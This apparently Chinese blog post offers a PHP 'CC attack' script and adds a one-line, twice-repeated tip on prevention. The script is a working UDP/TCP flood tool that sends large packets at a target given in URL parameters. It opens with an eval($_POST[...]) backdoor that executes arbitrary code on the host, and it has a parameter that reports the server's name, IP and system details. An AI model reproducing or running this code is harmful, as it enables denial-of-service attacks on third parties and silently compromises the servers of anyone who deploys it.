php cc攻击代码与防范方法
cc攻击代码,支持udp
对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。
如果你有好的软件也可以给我们留言。
代码如下:
<?php eval($_POST[Chr(90)]); set_time_limit(86400); ignore_user_abort(True); $packets = 0; $http = $_GET['http']; $rand = $_GET['exit']; $exec_time = $_GET['time']; if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) { if(StrLen($_GET['rat'])<>0) { echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Php 2012 Terminator"; exit; } for($i=0;$i<65535;$i++) { $out .= "X"; } //Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center $max_time = time()+$exec_time; if($rand==53) while(1) { $packets++; if(time() > $max_time) { break; } $fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); if($fp) { fwrite($fp, $out); fclose($fp); } } else if($rand==500) while(1) { $packets++; if(time() > $max_time){ break; } $fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); if($fp) { fwrite($fp, $out); fclose($fp); } } else while(1) { $packets++; if(time() > $max_time){ break; } $fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); if($fp) { fwrite($fp, $out); fclose($fp); } } ?>
对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。
如果你有好的软件也可以给我们留言。
相关推荐
常言道 2020-05-25
Summer的小屋 2013-08-13
前端知识梳理 2019-11-01
展翅飞嵌入式之路 2017-03-24
xasdfg 2015-08-01
hedafighter0 2015-12-20
ARCHYang 2015-04-22
yunna0 2019-06-26
xasdfg 2012-04-29
Eleven的个人小站 2014-09-20
89284553 2014-03-12
yuanheiqng 2014-04-10
fengxu 2018-02-20
BillyThe 2016-01-06
迷题 2015-04-06
老男孩linux教育 2010-03-05
rise 2015-08-18
wmengbeyond 2012-04-21
githubphpnobug 2014-02-13